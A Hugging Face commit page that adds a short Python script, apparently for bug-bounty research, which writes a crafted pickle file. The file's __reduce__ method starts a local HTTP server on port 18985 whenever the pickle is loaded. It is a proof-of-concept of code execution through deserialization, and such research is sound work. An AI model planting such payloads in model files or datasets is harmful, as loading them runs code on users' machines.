AeonAIRisk commited on
Commit
415c94b
·
verified ·
1 Parent(s): 9813334

Upload gen_httpserver.py with huggingface_hub

Browse files
Files changed (1) hide show
  1. gen_httpserver.py +11 -0
gen_httpserver.py ADDED
@@ -0,0 +1,11 @@
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import pickle
2
+ from http.server import HTTPServer, BaseHTTPRequestHandler
3
+ OUT = r"D:\0projects\bountykimi\tmp\artifacts\h7_http_server_httpserver.pkl"
4
+ class H(BaseHTTPRequestHandler):
5
+ def do_GET(self): pass
6
+ def log_message(self, *a): pass
7
+ class E:
8
+ def __reduce__(self):
9
+ return (HTTPServer, (("127.0.0.1", 18985), H))
10
+ pickle.dump({"e": E()}, open(OUT, "wb"))
11
+ print("gen ok")